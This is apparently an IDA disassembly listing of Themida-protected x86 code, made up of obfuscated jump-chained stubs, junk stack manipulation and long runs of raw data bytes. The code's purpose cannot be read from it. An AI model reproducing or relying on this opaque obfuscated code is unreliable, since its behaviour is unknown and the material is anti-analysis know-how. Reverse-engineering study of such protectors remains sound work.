		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_50A59C
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 0E924148Bh, 0FFFFB8B5h, 7472CDB9h, 8BCF290Dh, 0C481240Ch
		dd 4, 6BA9C781h, 0EFC12AC3h, 0EEC78103h, 5539E15Fh, 307EE9h
		db 0
; ---------------------------------------------------------------------------


loc_503BC9:				; CODE XREF: Themida_:005056FBj
		pop	ebx
		push	ecx
		mov	ecx, 54007100h
		add	ecx, 0ABFF8F02h
		sub	ebp, 250069Dh
		jmp	loc_501EFE
; ---------------------------------------------------------------------------


loc_503BE1:				; CODE XREF: Themida_:00505A15j
		mov	ch, 0CEh
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_506BFE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2F2AE9h, 5C14BD00h, 0EE31BF05h, 6CA4E95Dh, 8B660000h
		dd 4368240Ch, 0E9000057h, 0FFFFC502h
; ---------------------------------------------------------------------------


loc_503C38:				; CODE XREF: Themida_:00505282j
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_500F99
		push	eax
		push	edi
		jmp	loc_50A015
; ---------------------------------------------------------------------------
aWsT		db 'W~T',0
		align 4
		dd 8124148Bh, 4C4h, 6B95100h, 1022B1Ah,	0C3E959CAh, 5B000019h
		dd 619DB850h, 51404616h, 143524B9h, 0E9D1F740h,	0FFFFD80Ah
		dd 2C281h, 14330000h, 24143124h, 8B241433h, 14E92424h
		dd 29000028h, 0C3015DEBh, 6AD7E9h, 24248B00h, 9C240430h
		dd 0FFEEC9E9h, 243C89FFh, 3F05AFBFh, 0C4F0E96Fh, 0EB81FFFFh
		dd 4, 0FFD6F9E9h, 7D7E68FFh, 148B5D34h,	0E0895024h, 405h
		dd 4C08300h, 31240433h,	4332404h, 0D0295C24h, 8324148Bh
		dd 2C8904ECh, 0E9E58924h, 6696h
; ---------------------------------------------------------------------------


loc_503CF4:				; CODE XREF: Themida_:00505E9Dj
		shl	ebp, 5
		shl	ebp, 8
		jmp	loc_4FFA78
; ---------------------------------------------------------------------------
		db 59h
		dd 2C281h, 0DD680000h, 8900004Fh, 0BAE92414h, 81000029h
		dd 0EF151AC6h, 0D9F68119h, 21D9E0FCh, 0C00B5EF0h, 0EC45840Fh
		dd 77FFFFFFh, 2434FF1Ch, 592434FFh, 669EE9h, 24048F00h
		dd 0E924248Bh, 0FFFFB37Dh, 0FF2434FFh, 0C8B2434h, 4C77E924h
		dd 895C0000h, 0E954242Ch, 0FFFFE641h, 24048759h, 2C81565Ch
		dd 42058324h, 24048B31h, 504C483h, 31420583h, 0FFE2E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_503D79:				; CODE XREF: Themida_:00507616j
		pop	dword ptr [esp]
		pop	esp
		push	7C4Bh
		mov	[esp], ecx
		jmp	loc_5023F5
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 69A8E924h, 83580000h, 76E904C4h
		dd 0BF00004Ch, 52711C6Eh, 0FFC81EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_503DB1:				; CODE XREF: Themida_:005045B8j
		mov	ebp, 59372BA3h
		sub	ebp, 1
		add	ebp, 1
		push	4502h
		mov	[esp], esi
		mov	esi, 0A6C8D45Eh
		jmp	loc_507574
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C2h
		dd 4, 0FFFEA3E9h, 241C89FFh, 7C4E56BBh,	6EBC15Ch, 4B75EB81h
		dd 0EBC15FCEh, 14B8E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503DF6:				; CODE XREF: Themida_:00507BA8j
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5077BA
; ---------------------------------------------------------------------------


loc_503E0D:				; CODE XREF: Themida_:0050A01Aj
		mov	eax, edi
		jmp	loc_500CFD
; ---------------------------------------------------------------------------
		dd 0EAC1DAF7h, 0F2814A05h, 6D81FCC8h, 0F75AD189h, 86E955D9h
		dd 5DFFFFF4h, 8106EEC1h, 565352EEh, 6FE8E95Eh, 665C0000h
		dd 2404A30Fh, 23FE99Ch,	0E2D10000h, 1B951h, 4F010000h
		dd 1D77E924h, 22680000h, 89000068h, 468240Ch, 0E9000000h
		dd 0FFFFB498h
; ---------------------------------------------------------------------------


loc_503E68:				; CODE XREF: Themida_:00500A63j
		add	al, 0C1h
		and	cl, al
		pop	eax
		jmp	loc_50032F
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 0C1835BD9h, 74FF5102h, 0E9590424h,	43C6h
; ---------------------------------------------------------------------------


loc_503E88:				; CODE XREF: Themida_:00509D08j
		xchg	ebx, edx
		xchg	edx, edi
		xchg	edi, [esp]
		jmp	loc_50A465
; ---------------------------------------------------------------------------
		dd 4EECBB53h, 0D4E963FBh, 58000071h, 2434FF5Bh,	4C48158h
		dd 4000000h, 0E9F000B0h, 3322h,	1B82C781h, 2D02DBh, 0E96C8868h
		dd 105Fh, 5708E0C1h, 5801BE56h,	0FEBF2280h, 31DD7FA7h
		dd 15E95EF7h, 83FFFFCAh, 2C8904ECh, 53E58924h, 4BBh, 8BDD0100h
		dd 0C481241Ch, 4, 1DA06857h, 1C890000h,	16E9BB24h, 0B9510182h
		dd 0
		dd 0CB89D929h, 0FFEB8359h, 0E908EBC1h, 1DBh, 5BA9F181h
		dd 0E1814466h, 5A4D4F62h, 7DAE9h, 806EB500h, 0CDFE4DE5h
		dd 8005EDC0h, 0E800D5F5h, 0BA94E959h, 8950FFFFh, 405E0h
		dd 0B9510000h, 4, 9E9C801h, 66FFFFFEh, 0E924248Bh, 2182h
; ---------------------------------------------------------------------------


loc_503F5C:				; CODE XREF: Themida_:00506D62j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5034FA
; ---------------------------------------------------------------------------
aZsgo		db 'ZO',0
		align 4
		dd 24048B66h, 0FFDA23E9h, 4C183FFh, 5C240C87h, 2FBF68h
		dd 24048900h, 8904EC83h, 0BDBA2414h, 2974E460h,	5A042454h
		dd 5140478Fh, 0E460BDB9h, 40BB5374h, 1000000h, 5B0B01FBh
		dd 55240C8Bh, 52ECE9h, 4C28100h, 50000000h, 4B8h, 14E5E900h
		dd 0A5040000h, 0A6E9162Ch, 87000072h, 815C243Ch, 4C3h
		dd 2CA4E900h, 0F1810000h, 126C7AA4h, 45B3E9h, 0E99C5000h
		dd 0FFFFDEF5h, 0B8C1815Eh, 551F250Ah, 963186BDh, 3CE4E97Ah
		dd 0FF040000h, 3A69E9h,	4EC8100h, 89000000h, 0D9B7241Ch
		dd 8003CF80h, 0C7FEA5C7h, 0F6ABB652h, 4E6C0D6h,	8041F680h
		dd 95E914EEh, 51000053h, 0B6B6A5B1h, 6659CE00h,	88F88850h
		dd 145EE9F7h, 0E95B0000h, 3538h
; ---------------------------------------------------------------------------


loc_504044:				; CODE XREF: Themida_:00509CB3j
		mov	ecx, [esp]
		jmp	loc_504121
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 0AF685524h, 5D58B96Eh, 2CA6E9h, 4CC68100h
		dd 17BC2BDh, 0C8295EF0h, 42AEE9h, 0A6BB5300h, 81412422h
		dd 2422A2EBh, 5BDD0141h, 0FFE9D5E9h, 0B037E9FFh, 0C281FFFFh
		dd 4, 8704C283h, 248B2414h, 2BB5324h, 1000000h,	4875BD8h
		dd 24248B24h, 66E1F766h, 660FCD68h, 66241489h, 6E99C50h
		dd 83FFFFB0h, 895004C4h, 405E0h, 42D0000h, 87000000h, 248B2404h
		dd 240C8924h, 97014FB9h, 71182D5Eh, 232D496Ch, 0E9778F46h
		dd 0FFFFE8D9h, 0BD04F000h, 0C4E95B2Ch, 87FFFFBEh, 87D6F7F3h
		dd 14EB81F3h, 89FF0182h, 0FD015BDFh, 32CBE95Fh,	0FF530000h
		dd 5B042474h, 1E7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_504115:				; CODE XREF: Themida_:00500341j
		push	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_50AABD
; ---------------------------------------------------------------------------


loc_504121:				; CODE XREF: Themida_:00504047j
		push	esi
		jmp	loc_506482
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0FFB8B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_504131:				; CODE XREF: Themida_:00504D43j
		add	esi, 7D2C5151h
		jmp	loc_5076B1
; ---------------------------------------------------------------------------
		dd 5EF1015Ah, 5C240C87h, 81E78957h, 4C7h, 4BE5600h, 1000000h
		dd 24348BF7h, 4C481h, 3C330000h, 243C3124h, 5C243C33h
		dd 9C240409h, 0FFAF50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_504171:				; CODE XREF: Themida_:004FFF61j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_501C8B
; ---------------------------------------------------------------------------
		dd 241C8B66h, 2C481h, 0A8E90000h, 0AC00002Bh, 45B652h
		dd 1B045AF0h, 0FD8FE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50419A:				; CODE XREF: Themida_:0050887Dj
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ecx, 2DA179D4h
		mov	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 84326E2h
		jmp	loc_504331
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 57000000h, 42474FFh,	24048F5Fh, 0E689565Ch
		dd 2FFE68h, 24048900h, 5143C0B8h, 7CE94828h, 83000057h
		dd 0EC8104C4h, 4, 36F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5041F9:				; CODE XREF: Themida_:00504D31j
		or	ebp, 26B319A2h
		xor	ebp, 4F0A3FD3h
		shr	ebp, 3
		jmp	loc_505863
; ---------------------------------------------------------------------------


loc_50420D:				; CODE XREF: Themida_:0050A2D9j
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ch, dl
		mov	[edi+eax*4+1], ch
		jmp	loc_50A918
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 6D11E957h,	814F0000h
		dd 2C3FE9E7h, 0EE95546h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50424B:				; CODE XREF: Themida_:005007A9j
		add	esp, 4
		push	4BCEh
		mov	[esp], eax
		push	eax
		jmp	loc_501115
; ---------------------------------------------------------------------------


loc_50425C:				; CODE XREF: Themida_:00501592j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, 0D5A47DBh
		sub	eax, 0D5A47D9h
		add	esi, eax
		pop	eax
		jmp	loc_508B6A
; ---------------------------------------------------------------------------


loc_504287:				; CODE XREF: Themida_:00504364j
		shr	ecx, 4
		add	ecx, 36C6A769h
		mov	edx, ecx
		pop	ecx
		or	edx, 4F3731AFh
		add	edx, 51351774h
		push	6310h
		mov	[esp], ecx
		jmp	loc_501F0E
; ---------------------------------------------------------------------------
		dd 6824048Bh, 8Eh, 54240489h, 40558h, 5B680000h, 89000031h
		dd 0A5E92414h, 21h, 180EE9D8h, 4890000h, 9142B824h, 0C781D2A4h
		dd 7BD72275h, 77BAEF81h, 0F7E969E9h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5042EB:				; CODE XREF: Themida_:00502316j
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_508C14
; ---------------------------------------------------------------------------
		dw 2D58h
		dd 792A26BBh, 4003E8C1h, 20180135h, 58C1894Eh, 373DBD55h
		dd 0E9097AD7h, 6CDAE95Dh, 0FA290000h, 554AC281h, 0EA81109Bh
		dd 50CF4F3Bh, 2C4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_504331:				; CODE XREF: Themida_:005041BAj
		sub	esi, 26175FBEh
		jmp	loc_5086C8
; ---------------------------------------------------------------------------
		dd 2474FF57h, 243C8B04h, 8F04C483h, 248B2404h, 65EDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504352:				; CODE XREF: Themida_:00509F2Dj
		mov	ecx, 0F9B27BAh
		sub	ecx, 29A14B0Eh
		inc	ecx
		and	ecx, 72DD0F82h
		jmp	loc_504287
; ---------------------------------------------------------------------------


loc_504369:				; CODE XREF: Themida_:00508C8Ej
		add	ebp, 4
		push	72AAh
		mov	[esp], edi
		jmp	loc_5055C7
; ---------------------------------------------------------------------------
		dd 9C2424D3h, 0FFAD3CE9h, 0C78166FFh, 296647F7h, 4AE95FFBh
		dd 0BBFFFFCCh, 2, 471FED81h, 0DD013F6Ch, 471FC581h, 34FF3F6Ch
		dd 0FC90E924h, 0CFBBFFFFh, 0F7447170h, 0EAF1E9DBh, 0C181FFFFh
		dd 4, 0FFB1A4E9h, 243489FFh, 666E9h, 5AD02800h,	0C828012Ch
		dd 53660104h, 0BEE92FB3h, 5BFFFFE8h, 14E9F788h,	66FFFFF7h
		dd 0E924048Bh, 23E5h
; ---------------------------------------------------------------------------


loc_5043F0:				; CODE XREF: Themida_:00509FA6j
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5069D3
; ---------------------------------------------------------------------------
		db 1, 0DDh, 5Bh
		dd 2C8BE801h, 5CCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504406:				; CODE XREF: Themida_:0050AAF0j
		mov	esp, [esp]
		push	ebp
		mov	ebp, 5E337DA1h
		push	0
		sub	[esp], ebp
		pop	ebp
		push	ebp
		jmp	loc_50164D
; ---------------------------------------------------------------------------


loc_50441E:				; CODE XREF: Themida_:0050699Dj
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 27023F6Ah
		sub	ebx, ebp
		pop	ebp
		jmp	loc_50758A
; ---------------------------------------------------------------------------
		db 54h
		dd 8324048Fh, 0E9042404h, 68F4h, 4C781h, 0C7830000h, 243C8704h
		dd 0D0BA525Ch, 4A05972Ah, 8102E2C1h, 0DA0907C2h, 0E9DAF743h
		dd 0FFFFF161h, 1FE58145h, 4D7A7934h, 0C581DDF7h, 613420h
		dd 2D73E9h
		db 0
; ---------------------------------------------------------------------------


loc_504485:				; CODE XREF: Themida_:00501F1Bj
		add	edx, 5E7C35D4h
		and	ecx, edx
		pop	edx
		shl	ecx, 6
		push	edi
		mov	edi, 0
		sub	edi, ecx
		mov	ecx, edi
		pop	edi
		jmp	loc_50A6AE
; ---------------------------------------------------------------------------
		db 42h,	81h, 0EAh
		dd 8AD99F91h, 0FFDE6EE9h, 0E149BAFFh, 0D6310FC0h, 8BF7895Ah
		dd 89512434h, 4C181E1h,	83000000h, 0C8704C1h, 0C350E924h
		dd 0D989FFFFh, 0FFE3DAE9h, 89C589FFh, 46585DEEh, 0E94EDEF7h
		dd 561Ch, 0D4B6ED81h, 0BEE9FC27h, 0BB000039h, 4, 0BE565351h
		dd 4C2A4CD4h, 57CE681h,	0DEF749FEh, 4A04E9h
		db 0
; ---------------------------------------------------------------------------


loc_504509:				; CODE XREF: Themida_:00509354j
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	edx
		jmp	loc_502151
; ---------------------------------------------------------------------------
		dd 4C18159h, 83000000h,	18E904C1h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504537:				; CODE XREF: Themida_:00506A6Bj
		mov	ebp, 5968429Dh
		xor	ebp, edx
		jmp	loc_50325A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4EF81h, 3C330000h, 0F1FFE924h, 4F66FFFFh, 66D7F766h
		dd 26E9D7F7h, 68FFFFFEh, 780Fh,	24048F54h, 4240483h, 0FFD673E9h
		dd 243C89FFh, 12B9E9h, 0AB685800h, 89000023h, 5E542434h
		dd 4B951h, 0CE010000h, 4EC8159h, 89000000h, 4BF243Ch, 1000000h
		dd 243C8BFEh, 8704C483h, 0BFE92434h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5045AB:				; CODE XREF: Themida_:0050B2A1j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_503DB1
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CF010000h, 2EF8159h, 68000000h, 6540h, 0FF243C89h
		dd 8B042474h, 8956243Ch, 0E6AE9E6h, 54530000h, 4C3815Bh
		dd 83000000h, 0AEE904C3h, 8B000032h, 0C6E92424h, 5EFFFFAAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5065AD
; ---------------------------------------------------------------------------
		dd 0E95BDF01h, 1D1Fh
; ---------------------------------------------------------------------------


loc_504618:				; CODE XREF: Themida_:00504D98j
		push	ebx
		mov	ebx, 0FFFFFFFFh
		push	eax
		jmp	loc_504DEB
; ---------------------------------------------------------------------------
		dd 10E9DE89h, 51000062h, 260BE9h, 0D0E95800h, 31000067h
		dd 0C33240Ch, 24248B24h, 57241C89h, 0C781E789h,	4, 0E904EF83h
		dd 0D2Ah, 6459C781h, 565E595Ch,	2BEh, 5EF70100h, 3EDEE9h
		dd 0EFE95D00h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50466F:				; CODE XREF: Themida_:00505431j
		add	edx, 7EAB6E7Ah
		sub	edx, 1B225E27h
		push	esi
		jmp	loc_5047D2
; ---------------------------------------------------------------------------
		db 4, 21h, 4
aTTspUSq7	db '(,SP7',0
		align 4
		dd 60C98159h, 0E96CAF73h, 0FFFFF15Eh, 7E4CBF57h, 0C781659Fh
		dd 165438DCh, 0B724EF81h, 0FD897BF3h, 3768E95Fh, 0C1810000h
		dd 4, 8704E983h, 545C240Ch, 8124048Fh, 42404h, 815F0000h
		dd 4ECh, 240C8900h, 4B9h, 59CF0100h, 5704EF83h,	42474FFh
		dd 81243C8Bh, 4C4h, 24048F00h, 8924248Bh, 0BEE9240Ch, 49FFFFA9h
		dd 28DE9h
		db 0
; ---------------------------------------------------------------------------


loc_504709:				; CODE XREF: Themida_:00504E06j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_50471B:				; CODE XREF: Themida_:00504D0Dj
		push	4C97h
		mov	[esp], ebx
		jmp	loc_4FF809
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C7h, 4BB5300h, 81000000h, 5055D0EFh, 52EF8138h
		dd 12D5E61h, 52C781DFh,	812D5E61h, 5055D0C7h, 3C875B38h
		dd 24248B24h, 0E99CC885h, 0FFFFA961h, 7CC6815Dh, 0E9757575h
		dd 0FFFFC636h, 0C828F404h, 3059F42Ch, 0C0B60FC3h, 0FF8734FFh
		dd 0F6E92434h, 81FFFFFDh, 4C1h,	4E98300h, 4220E9h
		db 0
; ---------------------------------------------------------------------------


loc_504791:				; CODE XREF: Themida_:005032EDj
		add	esp, 4
		push	edi
		push	70F249A3h
		pop	edi
		dec	edi
		sub	edi, 30C566DEh
		shr	edi, 4
		jmp	loc_502247
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 632D4D29h, 5AD6295Bh, 5C243487h, 2701E9h, 5E08900h
		dd 4, 42Dh, 24048700h, 0F0B9E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5047D2:				; CODE XREF: Themida_:0050467Cj
		push	52917337h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 274B754Eh
		sub	esp, 4
		mov	[esp], ecx


loc_5047E9:				; DATA XREF: Themida_:005170C4o
		push	esi
		mov	esi, 63DD7C6Ah
		not	esi
		shl	esi, 5
		jmp	loc_506F13
; ---------------------------------------------------------------------------
		db 28h,	0EBh, 0E9h
		dd 1EACh, 4EC81h, 0C890000h, 75E95424h,	5BFFFFD6h, 31243C33h
		dd 3C33243Ch, 24248B24h, 2404D366h, 0A89BE99Ch,	5866FFFFh
		dd 5166D3F6h, 80E2B252h, 0FFE9A0F2h, 5CFFFFF1h,	53240C89h
		dd 9F15F6BBh, 0F3814B5Fh, 5F9F1609h, 0D3CFE953h, 0F181FFFFh
		dd 3E67A5D2h, 17E9CE01h, 31FFFFEFh, 41E92414h, 83000063h
		dd 148904ECh, 9D7BA24h,	0D629075Ch, 5124148Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 61685C24h, 89000069h, 6850240Ch
		dd 4F6441FEh, 0FFFA65E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_504899:				; CODE XREF: Themida_:00509C3Bj
		xor	esi, 5E8352A6h
		sub	edx, esi
		pop	esi
		add	edx, 21BC1D54h
		add	edx, ebp
		sub	edx, 21BC1D54h
		push	4163h
		mov	[esp], esi
		push	edi
		jmp	loc_5003E5
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 14895C24h, 0D4B95124h, 8159957Fh, 4ECh, 24048900h, 957FD5B8h
		dd 693BE959h, 0E6890000h, 4C681h, 0E9520000h, 0C73h, 0CD87D1F7h
		dd 89F581h, 0EB294439h,	81D3295Dh, 331FCCC3h, 0C3295A34h
		dd 6F96C381h, 0EB814703h, 27C40B8Dh, 23DC68h, 24048900h
		dd 0E92434FFh, 0FFFFED9Ch, 0E904C483h, 0FFFFA799h, 240C8B66h
		dd 815D5455h, 4C5h, 4EC8100h, 0E9000000h, 1823h, 2C04C483h
		dd 4D800AFh, 35B753AFh,	0FE93F780h, 0E9EF80CFh,	45BF800h
		dd 2EC8323h, 241C8966h,	1D4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_504965:				; CODE XREF: Themida_:005085F2j
		push	edi
		mov	edi, 555A57F9h
		sub	edi, 43786E95h
		add	edi, 0EE1E169Dh
		mov	edx, edi
		jmp	loc_5081F5
; ---------------------------------------------------------------------------
		dw 1C89h
aIuwhv?		db '$Wh?',0
		dd 242C8900h, 0F11B21BDh, 5AB7E969h, 0F1810000h, 62DB1A44h
		dd 2959C829h, 57A5E9D0h, 42BA0000h, 8170C4B8h, 0A474C2C2h
		dd 81CA295Ch, 0A474C2EAh, 0B31CE95Ch, 348BFFFFh, 4C48124h
		dd 83000000h, 48F04C4h,	4577E924h, 54570000h, 4C7815Fh
		dd 81000000h, 4C7h, 243C8700h, 2404335Ch, 33240431h, 43E92404h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5049F3:				; CODE XREF: Themida_:00507F62j
		neg	edi
		shl	edi, 8
		and	edi, 69CE2F4Dh
		shr	edi, 3
		add	edi, 16E953F3h
		jmp	loc_506509
; ---------------------------------------------------------------------------
		dd 51D830ACh, 88DEB353h, 241C8BD9h, 4C481h, 0E1800000h
		dd 9BC18066h, 24BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_504A29:				; CODE XREF: Themida_:0050041Cj
		mov	[eax], ch
		mov	ecx, [esp]
		jmp	loc_5001D0
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	148904ECh, 0AE685524h, 0E9392335h
		dd 3797h
; ---------------------------------------------------------------------------


loc_504A4C:				; CODE XREF: Themida_:005095F0j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 7854512Eh
		jmp	loc_5017A0
; ---------------------------------------------------------------------------


loc_504A60:				; CODE XREF: Themida_:005053C2j
		mov	ebp, 20B96C20h
		sub	eax, ebp
		pop	ebp
		sub	eax, ecx
		push	ebp
		mov	ebp, 20B96C20h
		add	eax, ebp
		jmp	loc_501862
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B243487h, 148B2424h, 83E95324h, 0C1FFFFC4h,	0EFC106EFh
		dd 4EC8106h, 0E9000000h, 5380h,	9D1C77FFh, 0D3665966h
		dd 0E99C241Ch, 3DA3h, 7EE95266h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_504AAF:				; CODE XREF: Themida_:00507B37j
		xchg	ebp, [esp]
		jmp	loc_503B01
; ---------------------------------------------------------------------------
aRs		db 'R]"',0
		db 0
; ---------------------------------------------------------------------------


loc_504ABD:				; CODE XREF: Themida_:00506BF9j
		mov	[esp], esi
		mov	esi, 0B9DAD4C0h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_500F99
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		mov	ebx, 4
		push	ecx
		mov	ecx, 7F9106ACh
		jmp	loc_5089DD
; ---------------------------------------------------------------------------
		dd 42474FFh, 81240C8Bh,	4C4h, 5D31E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504B16:				; CODE XREF: Themida_:00502855j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5034E8
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24048F24h, 0E924248Bh, 6BFh,	0F706E7C1h, 0F78147DFh
		dd 7CD6AC03h, 24348157h, 17736C8Fh, 0FFCB9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_504B4D:				; CODE XREF: Themida_:00500A6Ej
		mov	[esp], ebx
		mov	ebx, 7ADF66CDh
		not	ebx
		neg	ebx
		inc	ebx
		add	ebx, 603F1267h
		or	ebx, 588B35F3h
		jmp	loc_50920D
; ---------------------------------------------------------------------------


loc_504B6B:				; CODE XREF: Themida_:00501897j
		xor	esi, eax
		pop	eax
		dec	esi
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		jmp	loc_507D65
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0F8E95C24h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_504B83:				; CODE XREF: Themida_:0050582Dj
		pop	edi
		jmp	loc_506C98
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0Dh
		dd 0E97EFA31h, 157Bh, 496CE9ACh, 0E9500000h, 0E19h, 8034EB80h
		dd 0CBFEF7CBh, 0FFBB5DE9h, 9B9BFFFh, 0EFC13DC0h, 81EFD103h
		dd 5E4864E7h, 0EFC1471Bh, 0AAB85008h, 5655C62h,	57F445A9h
		dd 6A3CE135h, 35D0F71Fh, 0A239CF49h, 48BC701h, 4C48124h
		dd 1000000h, 8AE95FFEh,	81000024h, 4C4h, 9C054000h, 35F274B2h
		dd 625C129Fh, 8358C501h, 2C8704EDh, 14895C24h, 0E99C5024h
		dd 0FFFFA4B1h
; ---------------------------------------------------------------------------


loc_504C10:				; CODE XREF: Themida_:004FFF42j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		xchg	eax, edi
		push	9BCh
		mov	[esp], esi
		push	ebx
		push	esi
		mov	esi, 52831E7Ah
		sub	esi, 0E174CF75h
		mov	ebx, esi
		mov	esi, [esp]
		jmp	loc_508ACE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 61A8E9h, 240C3100h, 5C240C33h, 2404FF66h, 0A45FE99Ch
		dd 6C05FFFFh, 29006606h, 88E958C1h, 66000017h, 68240C8Bh
		dd 5466h, 0E9243C89h, 109Dh, 1DE9D7F7h,	0F7FFFFB2h, 0F186E9DAh
		dd 0C483FFFFh, 4B85004h, 81000000h, 5973ADC7h, 81C7010Dh
		dd 5973ADEFh, 3398E90Dh, 56500000h, 2622EEBEh, 0AFEE8100h
		dd 81618514h, 2056DCE6h, 0B9EE814Eh, 89DEFFF2h,	0BF575EF0h
		dd 7ABD12E4h, 1114E9h
		db 0
; ---------------------------------------------------------------------------


loc_504CD1:				; CODE XREF: Themida_:00507B20j
		mov	[esp], ebx
		jmp	loc_5002CE
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0ECh
		dd 4, 0E9241C89h, 0FFFFC20Bh, 0D2E9028Fh, 0F7FFFFA3h, 0DCA5E9D5h
		dd 0C6E9FFFFh
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504CFB:				; CODE XREF: Themida_:0050789Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_50471B
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 46D265C7h
		pop	ecx
		push	5DC8h
		mov	[esp], esi
		mov	esi, 46D265C7h
		push	ebp
		mov	ebp, 178761B7h
		jmp	loc_5041F9
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0A383E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504D3E:				; CODE XREF: Themida_:00502EF3j
		sub	esi, edx
		pop	edx
		sub	esi, edi
		jmp	loc_504131
; ---------------------------------------------------------------------------
